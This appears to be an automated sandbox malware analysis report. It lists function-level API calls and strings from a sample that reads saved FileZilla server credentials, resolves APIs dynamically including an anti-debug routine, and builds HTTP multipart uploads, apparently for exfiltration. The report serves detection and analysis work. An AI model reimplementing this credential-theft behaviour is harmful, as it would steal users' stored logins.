Opcode Fuzzy Hash: 49ec3605ab8d8b87b8f4a2bcd41593a6bcb02f439a1b20a0ae29a7c341f305be
Instruction Fuzzy Hash: 67F06DB1E04218ABCB10CB84EC45FEAFBBDFB48B14F50066AF51592280E7796904CAE5

Function 00407770 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F,?,00416414,?), ref: 00407784
RtlAllocateHeap.NTDLL(00000000,?,00416414,?), ref: 0040778B
lstrcatA.KERNEL32(?,02F72598,?,000003E8,?,000003E8,?,000003E8,?,000003E8,?,000003E8,?,000003E8,?,000003E8), ref: 0040793B
lstrcatA.KERNEL32(?,?,?,00416414,?), ref: 0040794F
lstrcatA.KERNEL32(?,?,?,00416414,?), ref: 00407963
lstrcatA.KERNEL32(?,?,?,00416414,?), ref: 00407977
lstrcatA.KERNEL32(?,02F75930,?,00416414,?), ref: 0040798B
lstrcatA.KERNEL32(?,02F75780,?,00416414,?), ref: 0040799F
lstrcatA.KERNEL32(?,02F757B0,?,00416414,?), ref: 004079B2
lstrcatA.KERNEL32(?,02F757F8,?,00416414,?), ref: 004079C6
lstrcatA.KERNEL32(?,02F72620,?,00416414,?), ref: 004079DA
lstrcatA.KERNEL32(?,?,?,00416414,?), ref: 004079EE
lstrcatA.KERNEL32(?,?,?,00416414,?), ref: 00407A02
lstrcatA.KERNEL32(?,?,?,00416414,?), ref: 00407A16
lstrcatA.KERNEL32(?,02F75930,?,00416414,?), ref: 00407A29
lstrcatA.KERNEL32(?,02F75780,?,00416414,?), ref: 00407A3D
lstrcatA.KERNEL32(?,02F757B0,?,00416414,?), ref: 00407A51
lstrcatA.KERNEL32(?,02F757F8,?,00416414,?), ref: 00407A64
lstrcatA.KERNEL32(?,02F76160,?,00416414,?), ref: 00407A78
lstrcatA.KERNEL32(?,?,?,00416414,?), ref: 00407A8C
lstrcatA.KERNEL32(?,?,?,00416414,?), ref: 00407AA0
lstrcatA.KERNEL32(?,?,?,00416414,?), ref: 00407AB4
lstrcatA.KERNEL32(?,02F75930,?,00416414,?), ref: 00407AC8
lstrcatA.KERNEL32(?,02F75780,?,00416414,?), ref: 00407ADB
lstrcatA.KERNEL32(?,02F757B0,?,00416414,?), ref: 00407AEF
lstrcatA.KERNEL32(?,02F757F8,?,00416414,?), ref: 00407B03
lstrcatA.KERNEL32(?,02F761C8,?,00416414,?), ref: 00407B16
lstrcatA.KERNEL32(?,?,?,00416414,?), ref: 00407B2A
lstrcatA.KERNEL32(?,?,?,00416414,?), ref: 00407B3E
lstrcatA.KERNEL32(?,?,?,00416414,?), ref: 00407B52
lstrcatA.KERNEL32(?,02F75930,?,00416414,?), ref: 00407B66
lstrcatA.KERNEL32(?,02F75780,?,00416414,?), ref: 00407B7A
lstrcatA.KERNEL32(?,02F757B0,?,00416414,?), ref: 00407B8D
lstrcatA.KERNEL32(?,02F757F8,?,00416414,?), ref: 00407BA1
lstrcatA.KERNEL32(?,02F76230,?,00416414,?), ref: 00407BB5
lstrcatA.KERNEL32(?,?,?,00416414,?), ref: 00407BC9
lstrcatA.KERNEL32(?,?,?,00416414,?), ref: 00407BDD
lstrcatA.KERNEL32(?,?,?,00416414,?), ref: 00407BF1
lstrcatA.KERNEL32(?,02F75930,?,00416414,?), ref: 00407C04
lstrcatA.KERNEL32(?,02F75780,?,00416414,?), ref: 00407C18
lstrcatA.KERNEL32(?,02F757B0,?,00416414,?), ref: 00407C2C
lstrcatA.KERNEL32(?,02F757F8,?,00416414,?), ref: 00407C3F
lstrcatA.KERNEL32(?,02F76298,?,00416414,?), ref: 00407C53
lstrcatA.KERNEL32(?,?,?,00416414,?), ref: 00407C67
lstrcatA.KERNEL32(?,?,?,00416414,?), ref: 00407C7B
lstrcatA.KERNEL32(?,?,?,00416414,?), ref: 00407C8F
lstrcatA.KERNEL32(?,02F75930,?,00416414,?), ref: 00407CA3
lstrcatA.KERNEL32(?,02F75780,?,00416414,?), ref: 00407CB6
lstrcatA.KERNEL32(?,02F757B0,?,00416414,?), ref: 00407CCA
lstrcatA.KERNEL32(?,02F757F8,?,00416414,?), ref: 00407CDE

Part of subcall function 00407630: lstrcatA.KERNEL32(298B0020,0042192C,00407CF0,80000001,00416414,?,?,?,?,?,00407CF0,?,?,00416414), ref: 00407666
Part of subcall function 00407630: lstrcatA.KERNEL32(298B0020,00000000,00000000), ref: 004076A8
Part of subcall function 00407630: lstrcatA.KERNEL32(298B0020, : ), ref: 004076BA
Part of subcall function 00407630: lstrcatA.KERNEL32(298B0020,00000000,00000000,00000000), ref: 004076EF
Part of subcall function 00407630: lstrcatA.KERNEL32(298B0020,00421934), ref: 00407700
Part of subcall function 00407630: lstrcatA.KERNEL32(298B0020,00000000,00000000,00000000), ref: 00407733
Part of subcall function 00407630: lstrcatA.KERNEL32(298B0020,00421938), ref: 0040774D
Part of subcall function 00407630: task.LIBCPMTD ref: 0040775B

lstrcatA.KERNEL32(?,02F6EBA8,?,00000104), ref: 00407E6B
lstrcatA.KERNEL32(?,02F75F28), ref: 00407E7E
lstrlenA.KERNEL32(298B0020), ref: 00407E8B
lstrlenA.KERNEL32(298B0020), ref: 00407E9B

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID:
API String ID: 928082926-0
Opcode ID: 24a6ca59d8a0adc4477e6d15f78518d49f33a6da8cc5e85e890d4912c65980fb
Instruction ID: 0e0c3d68e69f6296a9396c1eab42491480c8bc0a3d7b858fcfddc2671413b035
Opcode Fuzzy Hash: 24a6ca59d8a0adc4477e6d15f78518d49f33a6da8cc5e85e890d4912c65980fb
Instruction Fuzzy Hash: E83264B6D04254ABCB14EB60DC95DDE733EAB48315F004A9EF209A2090EE79F789CF55

Function 004103B0 Relevance: 73.9, APIs: 32, Strings: 10, Instructions: 363
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 00418F70: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418F9B

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 0040A110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040A13C
Part of subcall function 0040A110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 0040A161
Part of subcall function 0040A110: LocalAlloc.KERNEL32(00000040,?), ref: 0040A181
Part of subcall function 0040A110: ReadFile.KERNEL32(000000FF,?,00000000,00410447,00000000), ref: 0040A1AA
Part of subcall function 0040A110: LocalFree.KERNEL32(00410447), ref: 0040A1E0
Part of subcall function 0040A110: CloseHandle.KERNEL32(000000FF), ref: 0040A1EA

Part of subcall function 00418FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418FE2

strtok_s.MSVCRT ref: 0041047B
GetProcessHeap.KERNEL32(00000000,000F423F,00420DBF,00420DBE,00420DBB,00420DBA), ref: 004104C2
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB7), ref: 004104C9
StrStrA.SHLWAPI(00000000,<Host>), ref: 004104E5
lstrlenA.KERNEL32(00000000), ref: 004104F3

Part of subcall function 00418A70: malloc.MSVCRT ref: 00418A78
Part of subcall function 00418A70: strncpy.MSVCRT ref: 00418A93

StrStrA.SHLWAPI(00000000,<Port>), ref: 0041052F
lstrlenA.KERNEL32(00000000), ref: 0041053D
StrStrA.SHLWAPI(00000000,<User>), ref: 00410579
lstrlenA.KERNEL32(00000000), ref: 00410587
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 004105C3
lstrlenA.KERNEL32(00000000), ref: 004105D5
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB7), ref: 00410662
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 0041067A
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 00410692
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 004106AA
lstrcatA.KERNEL32(?,browser: FileZilla,?,?,00000000), ref: 004106C2
lstrcatA.KERNEL32(?,profile: null,?,?,00000000), ref: 004106D1
lstrcatA.KERNEL32(?,url: ,?,?,00000000), ref: 004106E0
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 004106F3
lstrcatA.KERNEL32(?,00421770,?,?,00000000), ref: 00410702
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 00410715
lstrcatA.KERNEL32(?,00421774,?,?,00000000), ref: 00410724
lstrcatA.KERNEL32(?,login: ,?,?,00000000), ref: 00410733
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 00410746
lstrcatA.KERNEL32(?,00421780,?,?,00000000), ref: 00410755
lstrcatA.KERNEL32(?,password: ,?,?,00000000), ref: 00410764
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 00410777
lstrcatA.KERNEL32(?,00421790,?,?,00000000), ref: 00410786
lstrcatA.KERNEL32(?,00421794,?,?,00000000), ref: 00410795
strtok_s.MSVCRT ref: 004107D9
lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB7), ref: 004107EE
memset.MSVCRT ref: 0041083D

Strings

login: , xrefs: 0041072A
browser: FileZilla, xrefs: 004106B9
profile: null, xrefs: 004106C8
<User>, xrefs: 00410570
<Pass encoding="base64">, xrefs: 004105BA
password: , xrefs: 0041075B
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 00410404
<Port>, xrefs: 00410526
url: , xrefs: 004106D7
<Host>, xrefs: 004104DC

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$AllocFileLocal$Heapstrtok_s$CloseCreateFolderFreeHandlePathProcessReadSizemallocmemsetstrncpy
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 337689325-555421843
Opcode ID: 477a1c65e9bd440f08a4856a641cb55c206700ecaa439dcda417b94db5e3656f
Instruction ID: 8daa67574ba642934e37c5269d194fb48a2cec37eebf9d0dac7d381e96a5dd97
Opcode Fuzzy Hash: 477a1c65e9bd440f08a4856a641cb55c206700ecaa439dcda417b94db5e3656f
Instruction Fuzzy Hash: 65D17271E01108ABCB04EBF0ED56EEE7339AF54315F50855AF102B7095EF38AA94CB69

Function 00419BB0 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,02EF28E8), ref: 00419BF1
GetProcAddress.KERNEL32(74DD0000,02EF2708), ref: 00419C0A
GetProcAddress.KERNEL32(74DD0000,02EF2918), ref: 00419C22
GetProcAddress.KERNEL32(74DD0000,02EF2930), ref: 00419C3A
GetProcAddress.KERNEL32(74DD0000,02EF2948), ref: 00419C53
GetProcAddress.KERNEL32(74DD0000,02F6B978), ref: 00419C6B
GetProcAddress.KERNEL32(74DD0000,02F6AE48), ref: 00419C83
GetProcAddress.KERNEL32(74DD0000,02F6AE28), ref: 00419C9C
GetProcAddress.KERNEL32(74DD0000,02EF2978), ref: 00419CB4
GetProcAddress.KERNEL32(74DD0000,02EF26C0), ref: 00419CCC
GetProcAddress.KERNEL32(74DD0000,02EF26D8), ref: 00419CE5
GetProcAddress.KERNEL32(74DD0000,02EF26F0), ref: 00419CFD
GetProcAddress.KERNEL32(74DD0000,02F6ADA8), ref: 00419D15
GetProcAddress.KERNEL32(74DD0000,02EF2720), ref: 00419D2E
GetProcAddress.KERNEL32(74DD0000,02EF2738), ref: 00419D46
GetProcAddress.KERNEL32(74DD0000,02F6AC48), ref: 00419D5E
GetProcAddress.KERNEL32(74DD0000,02F6E930), ref: 00419D77
GetProcAddress.KERNEL32(74DD0000,02F6E9C0), ref: 00419D8F
GetProcAddress.KERNEL32(74DD0000,02F6AE88), ref: 00419DA7
GetProcAddress.KERNEL32(74DD0000,02F6EA08), ref: 00419DC0
GetProcAddress.KERNEL32(74DD0000,02F6AF88), ref: 00419DD8
LoadLibraryA.KERNEL32(02F6E768,?,00416CA0), ref: 00419DEA
LoadLibraryA.KERNEL32(02F6E978,?,00416CA0), ref: 00419DFB
LoadLibraryA.KERNEL32(02F6EA38,?,00416CA0), ref: 00419E0D
LoadLibraryA.KERNEL32(02F6E7F8,?,00416CA0), ref: 00419E1F
LoadLibraryA.KERNEL32(02F6EA20,?,00416CA0), ref: 00419E30
GetProcAddress.KERNEL32(75A70000,02F6E990), ref: 00419E52
GetProcAddress.KERNEL32(75290000,02F6E8E8), ref: 00419E73
GetProcAddress.KERNEL32(75290000,02F6E810), ref: 00419E8B
GetProcAddress.KERNEL32(75BD0000,02F6E960), ref: 00419EAD
GetProcAddress.KERNEL32(75450000,02F6ADC8), ref: 00419ECE
GetProcAddress.KERNEL32(76E90000,02F6B948), ref: 00419EEF
GetProcAddress.KERNEL32(76E90000,NtQueryInformationProcess), ref: 00419F06

Strings

NtQueryInformationProcess, xrefs: 00419EFA

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: edf66d35e3c25c46ff42be0291b8a279c2bd212ca972e11257e66bc224b5ba57
Instruction ID: 85c76ffc39373860cb8090e471c59d53cf6ad49422061259caa86ebb7f60cad9
Opcode Fuzzy Hash: edf66d35e3c25c46ff42be0291b8a279c2bd212ca972e11257e66bc224b5ba57
Instruction Fuzzy Hash: 4DA16FB5D0A2549FC344DFA8FC889567BBBA74D301708A61BF909C3674E734AA40CF62

Function 00405150 Relevance: 53.1, APIs: 22, Strings: 8, Instructions: 569
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 0040483A
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

lstrlenA.KERNEL32(00000000), ref: 004051E3

Part of subcall function 00419030: CryptBinaryToStringA.CRYPT32(00000000,004051D4,40000001,00000000,00000000,?,004051D4), ref: 00419050

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00405257
StrCmpCA.SHLWAPI(?,02F6EBC8), ref: 00405275
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405390
HttpOpenRequestA.WININET(00000000,02F77248,?,02F76750,00000000,00000000,00400100,00000000), ref: 004053F4

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

lstrlenA.KERNEL32(00000000,00000000,?,",00000000,?,02F77298,00000000,?,02F70FA8,00000000,?,00421B0C,00000000,?,0041541F), ref: 00405787
lstrlenA.KERNEL32(00000000), ref: 0040579B
GetProcessHeap.KERNEL32(00000000,?), ref: 004057AC
HeapAlloc.KERNEL32(00000000), ref: 004057B3
lstrlenA.KERNEL32(00000000), ref: 004057C8
memcpy.MSVCRT(?,00000000,00000000), ref: 004057DF
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 004057F9
memcpy.MSVCRT(?), ref: 00405806
lstrlenA.KERNEL32(00000000), ref: 00405818
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00405831
memcpy.MSVCRT(?), ref: 00405841
lstrlenA.KERNEL32(00000000,?,?), ref: 0040585E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405872
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040589D
InternetCloseHandle.WININET(00000000), ref: 00405901
InternetCloseHandle.WININET(00000000), ref: 0040590E
InternetCloseHandle.WININET(00000000), ref: 00405918

Strings

------, xrefs: 0040568B
------, xrefs: 00405407
", xrefs: 004054D2
", xrefs: 00405756
--, xrefs: 004052D0
------, xrefs: 00405549
------, xrefs: 004052E7
", xrefs: 00405614

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$??2@CloseHandlememcpy$HeapHttpOpenRequestlstrcat$AllocBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------
API String ID: 2744873387-2774362122
Opcode ID: e4f2428928e736ed9cc6de2de5eb0b4d2b59ae491e0c9bb33dfe3b594fcfdfed
Instruction ID: 17d44de56e64bdd087ca749706e31b97a9426ac18b0a434e790be536538602ee
Opcode Fuzzy Hash: e4f2428928e736ed9cc6de2de5eb0b4d2b59ae491e0c9bb33dfe3b594fcfdfed
Instruction Fuzzy Hash: 34321071A22118ABCB14EBA1DC65FEE7379BF54714F00419EF10662092EF387A98CF59

Function 004059B0 Relevance: 46.0, APIs: 19, Strings: 7, Instructions: 493
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 0040483A
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00405A48
StrCmpCA.SHLWAPI(?,02F6EBC8), ref: 00405A63
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405BE3
lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,02F77178,00000000,?,02F70FA8,00000000,?,00421B4C), ref: 00405EC1
lstrlenA.KERNEL32(00000000), ref: 00405ED2
GetProcessHeap.KERNEL32(00000000,?), ref: 00405EE3
HeapAlloc.KERNEL32(00000000), ref: 00405EEA
lstrlenA.KERNEL32(00000000), ref: 00405EFF
memcpy.MSVCRT(?,00000000,00000000), ref: 00405F16
lstrlenA.KERNEL32(00000000), ref: 00405F28
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00405F41
memcpy.MSVCRT(?), ref: 00405F4E
lstrlenA.KERNEL32(00000000,?,?), ref: 00405F6B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405F7F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00405F9C
InternetCloseHandle.WININET(00000000), ref: 00406000
InternetCloseHandle.WININET(00000000), ref: 0040600D
HttpOpenRequestA.WININET(00000000,02F77248,?,02F76750,00000000,00000000,00400100,00000000), ref: 00405C48

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

InternetCloseHandle.WININET(00000000), ref: 00406017

Strings

S`A, xrefs: 004060CA
------, xrefs: 00405AE6
", xrefs: 00405E66
", xrefs: 00405D25
------, xrefs: 00405D9C
------, xrefs: 00405C5B
S`A, xrefs: 00405A0F, 004060B7, 00405A97, 00405AA0, 00405B0E, 00405B85, 00405C83, 00405DC4, 00405B11, 00405B88, 00405C86, 00405DC7

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$??2@CloseHandle$HeapHttpOpenRequestlstrcatmemcpy$AllocConnectCrackFileProcessReadSend
String ID: "$"$------$------$------$S`A$S`A
API String ID: 1406981993-1449208648
Opcode ID: ffa9b9b874d9b6473f3a19d6fad898059176b1e7a70780cf080c65f94af8bda8
Instruction ID: 528bda5bfb4e43d7cafc1c43cb8ffcda3f2e6465d8e228b0a039cdd5195e34d5
Opcode Fuzzy Hash: ffa9b9b874d9b6473f3a19d6fad898059176b1e7a70780cf080c65f94af8bda8
Instruction Fuzzy Hash: 1412FC71925128ABCB14EBA1DCA5FEEB379BF14714F00419EF10662091EF783B98CB59

Function 00409BE0 Relevance: 35.1, APIs: 15, Strings: 5, Instructions: 141
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00409A50: InternetOpenA.WININET(00420AF6,00000001,00000000,00000000,00000000), ref: 00409A6A

memset.MSVCRT ref: 00409C33
lstrcatA.KERNEL32(?,ws://localhost:9229), ref: 00409C48
